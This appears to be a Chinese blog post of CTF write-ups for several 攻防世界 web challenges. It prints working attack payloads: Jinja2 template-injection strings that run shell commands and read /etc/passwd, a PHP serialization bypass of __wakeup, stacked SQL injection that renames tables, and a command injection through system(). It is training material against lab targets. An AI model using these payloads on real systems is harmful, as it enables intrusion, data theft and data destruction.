继续ctf的旅程
攻防世界web高手进阶区的3分题
题目提示是python template injection
是SSTI。。。
。。。。。。
之前没接触过,现学
从零学习flask模板注入
寻找可用引用
{{''.__class__.__mro__[2].__subclasses__()}}
找到我们想要 的 os
所在的 site._Printer
类,它在列表的第72位
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}
也可以用
{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
得到flag
注:
几个有用的payload
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[' os'].popen('cat fl4g').read()
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[' os'].system('ls')
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
参数传入要求
加密和反序列化都不是问题
关键是绕过正则匹配和_wakeup()
wakeup的绕过还行
当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过
正则的绕过不太懂
查了查是说用“+”即可
后来找到一篇解释
大佬笔记
最后得到脚本
class Demo {
private $file = 'fl4g.php'; //flag在fl4g.php
}
$a= serialize(new demo); //序列化
//string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$a= str_replace('O:4', 'O:+4',$a); //用“+”绕过preg_match
$a= str_replace(':1:', ':4:',$a); //把对象个数从1变成大于1的个数绕过wakeup
echo base64_encode($a); //加密
?>
运行得到payload
TzorNDoiRGVtbyI6NDp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
注:
关注版本问题
像“+”绕过正则是php5里的
进去瞅着是sql注入
加个'
试下
存在sql注入
数据库是MariaDB
先猜字段
1' order by 2# 返回正常
1' order by 3# 返回错误
所以是两列
爆库
1' union select 1,database()#
笔者懵逼
查了下
可以用堆叠注入
查数据库
1';show databases;#
1';show tables;#
爆列
1';show columns from `1919810931114514`;# 这里注意反引号
1';show columns from words;#
可以看到flag在1919810931114514
这个表里
mysql中可以用handler查询
尝试下
1';handler `1919810931114514` open;handler `1919810931114514` read first;#
看了看writeup:
发现最后查数据的方法主要有两种
预处理
这个绕过方式有点妙
1';use supersqli;set @sql=concat('s','elect * from `1919810931114514`');PREPARE pre FROM @sql;EXECUTE pre;#
改表名
将表1919810931114514名字改为words,flag列名字改为id
这个思路蛮符合攻击者的,暴力修改,一切随我心意
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
然后用1‘ or 1=1#
可参考python SSTI tornado render模板注入
构造payload
error?msg={{ handler.settings }}
获取cookie_secret
然后就可以根据要求进行md5加密
再构造payload形似
file?filename=/fllllllllllllag&filehash=******************
进去是一串代码
做个整理
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
这显然是个模板注入,这已经做了好几题了(不怂)
模板注入的引擎判断方法
这里做尝试
应该是Jinja2/Twig
因为对小括号进行过滤了
所以之前题目用到的
{{''.__class__.__mro__[2].__subclasses__()}}
这类调用类和子类的方法就不好用了
这就又涉及到了知识盲区(哽住)
查了查
发现可以用python的内置函数
构造payload做尝试
/shrine/{{url_for.__globals__}}
搜索app,找到current_app,可能是当前app
尝试
/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}
用另一个内置函数也可以
/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
进来是这样的界面
意思是买彩票,赚钱,然后买flag的意思
10次机会,这不会中不了吧,不会吧,不会吧
点来点去没发现,卡住
用御剑扫描下目录
发现robots!
瞬间振奋
但发现这个进不去
查了查,跟git泄露有关
python GitHack.py http://220.249.52.133:44780/.git/
所以可以用True来代替输入的number
用burpsuite对输入进行修改
凑够钱买就是了
进来是这么一个个人网站页面
看了看源码
有个注释
尝试下
结果什么都没有(显然也不会这么简单)
在about里看到git
这不
受到上一题的影响
猜测是git泄露
就决定是你了,githack
python GitHack.py http://220.249.52.133:53631/.git
所以可以在file变量里做文章
用system函数执行系统命令
构造payload
?page=abc') or system("cat templates/flag.php");//
3分的题学到了很多
主要是
文中也放了好些有用又详细的链接
回头要多温故